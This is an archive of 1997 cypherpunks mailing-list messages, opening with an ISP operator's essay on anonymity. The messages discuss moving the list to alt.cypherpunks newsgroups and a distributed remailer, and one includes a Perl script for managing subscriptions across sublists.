     There are two kinds of people in the world, the good guys and the
bad guys.

     The good guys speak with the Voice of Truth, and the bad guys
speak with the Voice of Lies.

     I believe that anonymity is the foundation of freedom in the
known universe.  Anonymity is the ability to speak either the voice of
truth or the voice of lies without anyone knowing who you are.

     Accountability is the opposite of Anonymity.  Accountability
means that everyone knows who said what and can take them to task for
it.

     Both sides can use force to silence the other side, but usually
its the bad guys who use force to silence the good guys, good guys use
more voice of Truth to expose the bad guys.
 
     Although some would claim that in general accountability is a
good thing, I would point out that ALL members of the controlling
party of the emerging police state are adamantly FOR absolute
accountability at all times for all their citizens.  That should give
one pause to wonder.

     Anonymity is actually very hard to maintain, and absolute
anonymity for all people at all times is very difficult indeed.

     Therefore by observation a society or oganization is usually
operating at some gradient scale of anonymity between the extremes of
total anonymity and total non anonymity.

     It can come to pass that certain gradient levels of anonymity end
up benefitting the bad guys more than the good guys.  In these
situations, the bad guys tend to start winning and the good guys
perceive that the bad guys are winning BECAUSE of anonymity.

     Rather than use the weapon of anonymity themselves to protect
against the bad guys, the usual convulsive reaction on the part of the
good guys is to try and close down the channels of anonymity to keep
the bad guys located and corralled, rather than to open up the
channels more and use it themselves.  This does not occur to them, or
if it does they are beset with visions of the bad guys getting away
with more than they are now.

     The logic for closing down the channels of anonymity goes
something like this.  Since our country is ruled by an Omni
Intelligent and Omni Beneficent God King, if we can track every
communication down to the person who said it, the God King will be
able to tell the good guys from the bad guys, and silence the bad guys
for us.

     The problem with this logic is that our country is not run by a
God King, but by human beings who tend to elect each other into power
based on outrageous criteria.

     As the bad guys see themselves getting corraled with
accountability, they simply run for office and get themselves elected
into the positions of power where THEY are the ones taking action
against the bad guys.  Of course they take action against the good
guys instead.

     It is for this reason that the temptation to tighten
accountability when anonymity is abused is always an error and leads
to a terrible trap worse than any tar pit.  Namely only the bad guys
get to speak, and the good guys get to remain silent fearing for their
lives.
 
     Which is why when the police ask if you have something to hide
after you have refused to let them spot search your belongings, you
must always say, "Of course, I have EVERYTHING to hide.  FROM YOU!"

     Anyhow as an ISP it is my job to provide the channels of
communication between people.  That's what I do, I provide the
CHANNEL.  This includes standard accountable channels and not so
standard anonymous channels.

     People who communicate with each other tend to get into fights
with each other over what they are communicating about.  Usually they
take their fights out on each other.  But when anonymous channels are
used, they can't get to each other, they don't know who each other is,
so they take it out on the provider of the channel instead.  That's
me.
  
     It's enough to make you want to throw anonymity in the waste
basket.

     Providing a communication channel is a difficult job, it usually
involves a precarious balance between allowing the good guys to speak
and making sure the bad guys don't get away with the gold.

     It is very hard to maintain that balance with both sides pulling
and tugging on you because they can't pull and tug on each other.

     One of the main purposes of the Subscriber Agreement is to make
sure that people pull and tug on each other, and leave me out of it
even if they got no one to target at the other end.

     Homer







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 13 Feb 1997 15:26:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property & cypherpunks
Message-ID: <199702132326.PAA13544@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

After talking w/ Sten (firebeard) I have agreed to drop the explicit PD
proviso. This means the Cypherpunks Distributed Remailer is operaing
under the Burne Convention of implicit copyright.

This is gonna be fun.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 13 Feb 1997 17:26:57 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702140126.RAA15930@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles allegedly said:
> 
> At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote:
> >
> >This is where the distributed nature of the list comes   in.
> >
> >if someone disagrees with Jim's AUP, he or she can use soem other
> >mailing list host.
> 
> Is this the policy of the majordomo network, that individual list operators
> can make their own policies for their subscribers, but may not/cannot
> impose them on other list operators or the other lists' members? It sounds
> very reasonable, but it would be nice to be clear about whether or not this
> is the case. 
> 
> Are there any rules (other than "no rules") which apply to all lists/list
> operators/list subscribers? Can there ever be any? Who would write the
> rules, and who must agree to them in order for them to take effect?
> 
> Can individual list operators be forced to or forbidden to "peer" with
> other machines, or are these "peer" relationships up to each list operator?

Both realistically and idealistically speaking, the peer relationships
should be up to each list operator.  

And, once again, both realistically and idealistically speaking, each
list operator should set their own policies.  The beauty of this 
scheme is that it gives maximum freedom to both the list operators 
*and* the list members -- if a list operator wants to filter out 
clever asci art, they can, and contrariwise, if the list members want 
to change list operators as a result, they can.  In fact, I don't see 
why moderated versions of the list couldn't happily coexist as part 
of the distributed list.  Let those flowers bloom!

BTW, I am planning on an upgrade to majordomo 1.94.1 this weekend, 
and I will be setting up cypherpunks@songbird.com at that time.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 13 Feb 1997 12:00:58 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Cypherpunks-announce? Do we need to recreate this?
Message-ID: <199702132000.MAA09927@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Now that cypherpunks is moving, to both a newsgroup and one or more 
> mailing lists, there's still a need for cypherpunks-announce or 
> something like it.  So far it's carried 1-2 announcements per month.
> 
> Should we create it as a mailing list, moderated or unmoderated,
> or as a newsgroup?  (It's been a moderated mailing list, run by John and
> Hugh.)

I newsgrouped several sub groups along with alt.cypherpunks.

alt.cypherpunks.announce
alt.cypherpunks.social
alt.cypherpunks.technical

but they do not appear to have taken effect (my local news server 
refuses to see them). Can anyone else see them? - If not I`ll have a 
word with my newsadmin.



 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 06:56:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: You guys/gals oughta get a kick outta this guy
Message-ID: <199702141456.GAA07194@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




> > Yet another person who needs a good stern talking to by the nearest
> > cypherpunk --- this guy posted to comp.lang.perl.misc with the following
> > blasphemy, which I luaghed at until I had tears in my eyes.
> > --BEGIN COMPLETE STUPIDITY--
> > I want to make it executable to protect the source code from being read. I
> > don't want the source code available because I don't want people looking
> > for security holes.
> > --END COMPLETE STUPIDITY--

NO! - It must be impossible to be this naive! - Thanks for the post, 
I laughed until I displaced a kidney ;-)

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 17:28:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702140128.RAA15978@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 13 Feb 1997 14:46:04 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Private property & the cypherpunks list(s)

> Is this the policy of the majordomo network, that individual list operators
> can make their own policies for their subscribers, but may not/cannot
> impose them on other list operators or the other lists' members? It sounds
> very reasonable, but it would be nice to be clear about whether or not this
> is the case. 

There is no policy at this point. We have not even agreed to a means to
institute the network or its basic architecture. The only point of mandatory
agreement is between any two individual list operators and the mechanism
they use to transfer between those two nodes.

This sort of policy distribution won't work, as to reasonable I think not.
If everyone does their own thing with no compromise then nothing will
get done.

> Are there any rules (other than "no rules") which apply to all lists/list
> operators/list subscribers? Can there ever be any? Who would write the
> rules, and who must agree to them in order for them to take effect?

There are no explicit rules at this point. Yes there can be all sorts of 
rules, both implicit (eg copyrights) and explicit. Anyone can write rules.
Nobody must agree to anything other than implicit agreements, course
the concept of 'agreement' sorta goes out the window with implicits.

> Can individual list operators be forced to or forbidden to "peer" with
> other machines, or are these "peer" relationships up to each list operator?

Don't see how anyone can force the remailer to do anything.

Can't speak for anyone else but can say with some degree of certainty that
no participant in cpunks can stop me from subscribing whoever I want. There
is certainly no mechanism envisioned to authenticate subscriptions with
the remailer operators.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 14 Feb 1997 06:58:04 -0800 (PST)
To: cypherpunks@algebra.com
Subject: No Subject
Message-ID: <199702141458.GAA07308@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,

I have newsgrouped some further alt.groups as follows:

alt.cypherpunks.announce
alt.cypherpunks.technical
alt.cypherpunks.social

I recommend that posters crosspost as follows:

All messages, apart from announcements, go to alt.cypherpunks.
Alt.cypherpunks.announce holds announcements only and it`s
contents is disjoint with that of alt.cypherpunks.

Alt.cypherpunks.technical: All posts to this group are also
crossposted to alt.cypherpunks

alt.cypherpunks.social: All posts to this group are also
crossposted to alt.cypherpunks.

The newsgroup names are pretty self explanatory but technical is just
for technical discussion and social for discussion of social and
political issues regarding cryptography. 

With this crossposting scheme readers can either get the whole content
or just the part they want easily without filtering working overtime,
for instance, I might choose to subscribe to alt.cypherpunks.technical
and only dip into alt.cypherpunks.social when I felt like a flame war
;-)

As I said, its only a guideline of course and post what you want where
you want but i feel this organisation allows people to easily choose
the part of the discussion they want to read.



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 17:27:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702140127.RAA15949@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 13 Feb 1997 13:50 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)

> 	Well, if you can't deliver mail because their mailbox is full, then
> you should simply wait a few days before trying to deliver mail to that
> address. If it's because the address isn't there any more, you should delete
> it from the subscription lists. Otherwise, the instant people's mail quotas
> overflow (e.g., they're on AOL and they haven't been able to get through the
> clogged lines), they get bounced... or you're left with a lot of invalid
> addresses.

If their mailbox is full I might let it sit a day. If I still get a bounce
after that I currently yank it. As I stated earlier, I am currently trying to
decide if daily or weekly purges are in order. I personaly lean toward daily.
I certainly am not buying disk space just so somebody else can use it for
storing things they don't personaly have room for.

> The address causing the bounce is not necessarily determinable
> automatically from the bounce message; if it isn't, then you need to keep a
> copy around for a human to look at.

Hmmm, to date I haven't had a problem determining where the cause was
from the bounces I see. I can't always tell why but it always seems to
say whose email address was involved.

> 	Given that there are pre-existing news-mail gateways, I'd think that
> the programs should be available. My concern on the programming is more in
> the realm of keeping the thing up and running.

If you get it up and running there should be no programming involved. Unless
you want to reconfigure.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Thu, 13 Feb 1997 12:11:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702132011.MAA10157@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Hey, folks,
> 
> I thought all you had to do to create an alt.group was to have a news admin
> somewhere just make a group; send out a control message of somekind. I
> thought that alt groups didn't have to go through a charter, or voting
> process, or anything else. They just happened.
> 
> Then, everyone just has to tell their local news admin that they went to
> see it, or they can wait until their news admin sees it flying by, and adds
> it to the available groups list at his own discretion.
> 
> It's not like we want comp.cypherpunks or something, with a voting process,
> right?
> 

It's not quite that simple.  While a "Big 7" group requires CFD, charter
and voting, once you pass tthose hurdles you're virtually guaranteed good
propagation.  alt has no "set" creartion procedure, but your group will
not receive good propagation unless the powers that be "approve" of the 
idea.

In this case, the people you have to convince are the news admins who must
permit your control message to be honoured; time was most sites ran on
autopilot, but joke and badly-named groups mean that most news admins
now drop most newgroup messages on the floor.  These people hang out in
alt.config, and you should propose the group's creation there, followed
by a couple of weeks of discussion, hopefully featuring many more 
supportive messages than non-supportive ones.  After that, a newgroup 
message stands a much better chance.

> Cheers,
> Bob Hettinga
> 
> 
>

Hip hip,

John P. 
john@huiac.apana.org.au







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Roessler <Thomas.Roessler@sobolev.rhein.de>
Date: Thu, 13 Feb 1997 11:58:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: distributed mailing list architecture
Message-ID: <199702131958.LAA09891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Maybe you have some use for the appended perl script.  I created it for a
list setup quite similar to what is currently being discussed on
cypherpunks.  It has never ever been used in production; you'll notice
yourself that the code is not too nice.

The script currently tries to handle majordomo and SmartList exploders; at
least SmartList needs to be hacked a little bit to avoid daily subscription
approvals to people being moved between different sub-lists.

Distribute and use this script freely; credit is appreciated.

tlr
------------------------------
#!/usr/bin/perl

############################################################
#
# $Id: distlist.pl,v 1.2 1997/01/24 17:20:38 roessler Exp $
#

#
# Handle distributed mailing lists.
#

require 'getopts.pl';

$c_sublists='lists';		# Data about the sublists
$c_distfile='dist';		# A list of mail addresses
$c_datafile='dist.data';	# _Our_ list of addresses
$c_contact='roessler@sobolev.rhein.de';
				# Whom to contact in case of problems
$sendmail="| /usr/sbin/sendmail -t -odq";


$debug=0;			# Debugging output.  Can also be
				# turned on by using the -x switch.

$signature="-- \nThis mail has been generated automatically by the distlist\n".
    "program. Please contact $c_contact in case of problems.\n";


@sublists=();
@newsubs=();

#
# Command line processing
#

&dprint (1, 'Processing the command line...\n');
&Getopts('s:d:D:c:x:');

$c_sublists=$opt_s if $opt_s;
$c_distfile=$opt_d if $opt_d;
$c_datafile=$opt_D if $opt_D;
$c_contact=$opt_c  if $opt_c;
$debug=$opt_x	   if $opt_x;

#
# Read the data and config files, perform various checks.
#

#
# sublists
#

&dprint(1, "Reading $c_sublists...");

# format: addr:maxsubscr:listtype:password:adminrequest:maintainer

open(SUBLISTS, $c_sublists) || die("Can't open $c_sublists");
SUBLIST: while(<SUBLISTS>) {
    next SUBLIST if /^#/ || /^$/;
    chop;
    ($addr, $maxsubscr, $listtype, $password, $admin, $maintainer) = split(/:/, $_);
    $s_maxsubscr{$addr}=$maxsubscr;
    $s_listtype{$addr}=$listtype;
    $s_password{$addr}=$password;
    $s_admin{$addr}=$admin;
    $s_maintainer{$addr}=$maintainer;
    $s_onlist{$addr}=0;
    $s_addem{$addr}="";
    $s_delem{$addr}="";
    &dprint(3,"Parsed list $addr: maximum $maxsubscr people; listtype $listtype; password $password.; administrative address $admin; maintainer $maintainer");
    @sublists=(@sublists, $addr);
}

close(SUBLISTS);

# In addition, we define a special list for people to be redistributed later.

$s_maxsubscr{'later'}=100000;		# Very big. ;)
$s_listtype{'later'}="";
$s_password{'later'}="";
$s_onlist{'later'}=0;
$s_addem{'later'}="";
$s_delem{'later'}="";

#
# Read our dist file
#



# format: user:list

if(open(DATAFILE, $c_datafile)) {
    &dprint(1, "Reading $c_datafile...");

  USERLINE: while(<DATAFILE>) {
      next USERLINE if /^#/ || /^$/;
      chop;
      ($user, $list) = split(/:/, $_);
      
      # Check if the list exists; handle user.
      
      if(! $s_maxsubscr{$list}) {
	  &dprint(2, "While checking user $user:  $list does no longer exist.");
	  $list="later";
      } elsif( $s_onlist{$list} >= $s_maxsubscr{$list} ) {
	  &dprint(2, "Warning: $list is full.  Redistributing people later.");
	  $s_delem{$list}=join(':',$user,$s_delem{$list});
	  $list="later";
      } 
      
      $s_onlist{$list}++;
      $u_list{$user}=$list;
      
      $deletem{$user}=$user;
  }
    
    close(DATAFILE);
    &dprint(1,"$c_datafile finished.");
} else {
    &dprint(1, "Warning:  Can't read $c_datafile.");
}


#
# Now, read the real distribution file.
#

&dprint(1, "Reading $c_distfile...");

open(DISTFILE, $c_distfile) || die("Can't open $c_distfile");

 DISTLINE: while(<DISTFILE>) {
     next DISTLINE if /^#/ || /^$/ || /^\(/;
     chop;
     
     if(!$u_list{$_}) {			# A new member.
	 &dprint(2, "Found a new member: $_.");
	 @newsubs=($_, @newsubs);
     } else {				# We know him.
	 &dprint(3, "Well-known: $_.");
	 delete $deletem{$_};
     }
     
 }

close(DISTFILE);


#
# Handle deletions.
#

foreach $user (keys %deletem) {
    $list=$u_list{$user};
    delete $u_list{$user};
    $s_onlist{$list}--;
    $s_delem{$list}=join(':', $s_delem{$list}, $user);
    &dprint(3, "Removing $user from sublist $list.");
}

#
# Handle postponed subscriptions:  The later list.
#

foreach (keys %u_list) {
    next unless $u_list{$_} eq "later";
    @newsubs=($_, @newsubs);
    delete $u_list{$_};
    &dprint(3, "Adding $_ to the list of new subscriptions.  Was postponed.");
}


&dprint(1, "Distributing new subscriptions...");

 NEWSUBS: foreach $user (@newsubs) {

     $avg=0.0;
     foreach $l (@sublists) {
	 $avg += $s_onlist{$l}/$s_maxsubscr{$l};
     }
     
     $avg = $avg / ($#sublists + 1.0);
     
     if ($avg >= 1) {
	 &dprint(2, "Warning: All sublists are full while trying to insert $user.");
     }

     undef $possible;

     foreach $l (@sublists) {
	 if($s_onlist{$l} <= $avg*$s_maxsubscr{$l}) {
	     $possible=$l;
	 }

	 if($s_onlist{$l} < $avg*$s_maxsubscr{$l}) {
	     last;
	 }
     }

     if($possible) {
	 $l = $possible;
     }
     
     $s_addem{$l}=join(':', $s_addem{$l}, $user);
     $s_onlist{$l}++;
     $u_list{$user}=$l;
     
 }

#
# Write our own data file.
#

if(open(DATAFILE, ">$c_datafile")) {
    foreach (keys %u_list) {
	printf DATAFILE "%s:%s\n", $_, $u_list{$_};
    }
    close(DATAFILE);
} else {
    &dprint(1, "Warning: Can't write $c_datafile.");
}

#
# The lists have been put together.  Commit the changes.
#

&dprint(1, "Committing the changes...");

foreach $l (@sublists) {
    if($s_listtype{$l} eq "majordomo") {
	&commit_majordomo($l);
    } elsif ($s_listtype{$l} eq "smartlist") {
	&commit_smartlist($l);
    } else {
	&dprint(1, "While trying to commit changes for $l:");
	&dprint(1, "Unknown list type $s_listtype{$l}.\n");
    }
}

#
# To be done:  Print out some statistics.
#

print "Distlist results:\n";
print "-----------------\n";
print "\n";
printf "There are currently %d subscribers on %d sublists.\n\n", scalar(keys %u_list), $#sublists+1;

$full_lists=0;

printf "%-40s     on  max\n", "Name";
printf "----------------------------------------------------\n";

foreach $l (@sublists) {
    printf "%-40s   %4d %4d", $l, $s_onlist{$l}, $s_maxsubscr{$l};
    
    if($s_onlist{$l} >= $s_maxsubscr{$l}) {
	print "   *** This list is full ***";
	$full_lists++;
    }

    print "\n";
}

if($full_lists) {
    print "\n$full_lists of the sublists are *full*.  Please get in touch\n";
    print "with the maintainers.\n";
}

print "\n\n";
print $signature;

############################################################
#
# Some helper functions.
#

# Print out diagnostics.

sub dprint
{
    if($_[0] <= $debug) {
	printf STDERR "%s\n", $_[1];
    }
}


sub commit_majordomo
{
    my $list=$_[0];
    my @bla;
    my $ll;
    my $user;

    &dprint(2, "Committing changes to majordomo list $list");
    &dprint(3, "to be added: $s_addem{$list}");
    &dprint(3, "to be deleted: $s_delem{$list}");

    ($ll, @bla)=split(/@/, $list);

    if(!open(SENDMAIL, $sendmail)) {
	&dprint(1, "Warning:  Can't start sendmail when committing changes to $list");
    }

    print SENDMAIL "To: $s_admin{$list}\n";
    print SENDMAIL "From: $c_contact\n";
    print SENDMAIL "\n\n";
    
    foreach $user (@bla=split(/:/, $s_addem{$list})) {
	print SENDMAIL "approve $s_password{$list} subscribe $ll $user\n"
	    if $u_list{$user};
    }

    foreach $user (@bla=split(/:/, $s_delem{$list})) {
	print SENDMAIL "approve $s_password{$list} unsubscribe $ll $user\n"
	    unless $u_list{$user} eq $list;
    }

    print SENDMAIL $signature;
    
    close(SENDMAIL);
}

sub smartlist_xcommand
{
    my ($list, $to, $passwd, $command, $maintainer) = @_;

    if(!open(SENDMAIL, $sendmail)) {
	&dprint(1, "Can't start sendmail when committing changes for $list");
    }

    print SENDMAIL "To: $to\n";
    print SENDMAIL "From: $c_contact\n";
    print SENDMAIL "X-Command: $maintainer $passwd $command\n";
    print SENDMAIL "\n\n";
    print SENDMAIL $signature;

    close SENDMAIL;
}	
	
    

sub commit_smartlist
{
    my $list=$_[0];
    my @bla;
    my $user;

    &dprint(2, "Committing changes to smartlist list $list");
    
    foreach $user (@bla=split(/:/, $s_addem{$list})) {
	&smartlist_xcommand($list, $s_admin{$list}, $s_password{$list},
			    "subscribe $user", $s_maintainer{$list})
	    if $u_list{$user};
    }

    foreach $user (@bla=split(/:/, $s_delem{$list})) {
	&smartlist_xcommand($list, $s_admin{$list}, $s_password{$list},
			    "unsubscribe $user", $s_maintainer{$list})
	    unless $u_list{$user} eq $list;
    }
}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 19:26:23 -0800 (PST)
To: Leonard Janke <cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702140326.TAA18459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 2:17 PM -0800 2/13/97, Leonard Janke wrote:

>That being said, I fully support the idea of a comp.* newgroup,
>over an alt.* group. The important advantages are the greater
>propogation many have described, and the reduction in "outsider"
>noise. I also think that people interested in computing
>in general might be more likely to stumble onto the newsgroup,
>since the comp.* hierachy is so much smaller than the alt.*
>hierachy.

Given that _political_ discussions of crypto are now encouraged in
_talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think
political and social essays dealing with crypto anarchy, offshore
databases, undermining governments, etc., will be welcome in the "comp"
hierarchy?

I rather doubt it. And I would bet that if comp.org.cypherpunks is ever
approved, those who dislike crypto anarchy and sociopolitical chatter will
use the "comp" name to try to suppress such discussions.

And thus comp.org.cypherpunks will be mostly a duplicate of sci.crypt and
other such groups.

>To be fair, though, I doubt that anyone would seriously try to
>disrupt the creation, given the dedication I am seeing people putting
>into finding a new home (or homes!) for the list, and that there does not
>seem to be anyone dedicated to distrupting that process as John Gilmore
>worried there would be. (And I am on the unedited list, too!)

Sorry, Leonard, but this is one of the most naive statements I've ever
heard. You really think whoever is spamming the list with ASCII art and
broke into Paul's account to post hundreds of "John Gilmore is a
cocksucker" posts will back off because of the "dedication" of some? To the
perverse personality, this is merely a greater challenge and temptation.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Thu, 13 Feb 1997 15:27:27 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: (2) More on Digital Postage
Message-ID: <199702132327.PAA13651@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970213:0902 "Timothy C. May" <tcmay@got.net> said:

+At 5:00 AM +0000 2/13/97, Attila T. Hun wrote:

+>    unfortunately, until the irresponsible tone down their greed, we
+>    need the regulation to protect ourselves from the predators.
+>
+>    in other words, I agree with you in my heart, but our society
+>    refuses to cooperate.

+Attila and I have had this disagreement before (last time it involved
+Attila's support for curfews).

+Attila is free to hire agents to screen his mail so he does not receive
+spam. He is not free, in a free society, to force such screeners upon
+me.

    very true. if you if define that your freedom includes the free 
    abuse of your freedoms by others.  freedom is a two way street; 
    freedom in my book says that I can do anything I wish which does 
    not infringe on the rights of others. now, that implies that I can 
    _personally_ exact justice on those who violate my space.  this is 
    a state of war which even Jim Bell's AP does not cover --AP is just 
    an anonymous and chicken-hearted way of settling the score, and 
    creates its own code even more absurb than the rules coming down 
    from Washington.

    and, I can not imagine you really believe the basic animals of our 
    society and the predators who attempt to feed upon us all do not 
    need to be restrained in one way or another.  you obviously have
    a solution: your .44 (I prefer a full choke 12 ga pump).

    maybe the comment in my sig line is an expression of the suppressed 
    feelings of the frustrated members of our society who have been 
    confronted by the inequities of our legal system when they expected 
    redress was their right.

+Talking about "irresponsible tones" and "greed" and how we need more
+laws to protect ourselves from "predators" sounds more like something
+from the Marin County limousine liberal set than from a Utah mountain
+man Cypherpunk. I'm shocked, simply shocked.

    shocked, simply shocked?  (:-})  marin county? I'm insulted <g>

    tell you what: you run afoul of us out here on the "mountain" where 
    there is no need for social niceties --we just call it "range law."
 
    
 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 
 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

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Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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=G/Ag
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 13 Feb 1997 17:56:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Technology and the Electronic Economy
Message-ID: <199702140156.RAA16648@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


We've put the IEEE Spectrum special issue on Technology
and the Electronic Economy, with 13 articles previously listed 
here, at:

   http://jya.com/tee.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 13 Feb 1997 22:11:27 -0800 (PST)
To: Bill Stewart <gnu@toad.com
Subject: Re: Cypherpunks-announce? Do we need to recreate this?
Message-ID: <199702140611.WAA23323@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:51 AM 2/13/97 -0800, Bill Stewart wrote:
>So far it's carried 1-2 announcements per month.
>Should we create it as a mailing list, moderated or unmoderated,
>or as a newsgroup?  (It's been a moderated mailing list, run by John and
>Hugh.)

Deja-News now carries both alt.cypherpunks and alt.cypherpunks.announce.
There was never a problem with cypherpunks-announce. Whoever volunteered to
run the monthly meeting just emailed to Hugh, who posted the announcement.
I would suggest to avoid fixing what isn't broken and make
alt.cypherpunks.announce a moderated list with Hugh and Eric as the
moderators.

The cypherpunks* lists on toad.com could be set up as mail-to-news gateways
(I volunteer to do so if needed) and all current subscribers unsubscribed
after a suitable warning outlining ways of accessing USENET. If the list
owner should so desire, I volunteer to write the tutorial.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 13 Feb 1997 22:18:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Good Bye Cypherpunks!
Message-ID: <199702140618.WAA23553@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Friends,
I have been on the list since May 1993, after reading about it in Wired
1.2. The list impacted my life more than any other medium.
I knew little about cryptography when I joined the list. Now I work in the
field. Some of the subscribers on this list have become my personal
friends. Many have become co-workers or clients. The list has been good to me.

But it is time to move on. Cypherpunks@toad.com has come to an end, and
perhaps it was time.

See you all on USENET

mailto:cypherpunks@toad.com is dead. Long live news:alt.cypherpunks

Umsuscrive message follows ;-)


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 20:56:17 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702140456.UAA21157@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Firebeard wrote:
> 
> >>>>> Igor Chudov @ home writes:
> 
> IC> This is where the distributed nature of the list comes in.  if
> IC> someone disagrees with Jim's AUP, he or she can use soem other
> IC> mailing list host.
> 
> 	And once I'm up and running, my cypherpunks list server will
> not be interconnected with any server which has a similar AUP.  The
> implication of the AUP is that if you _don't_ comply with it, you will
> be blocked.  Without such an implication, the AUP is meaningless, and
> I'm dedicated that there should be no filtering/blocking of any kind,
> of the list.  Persons behaving 'unacceptably' should be handled by
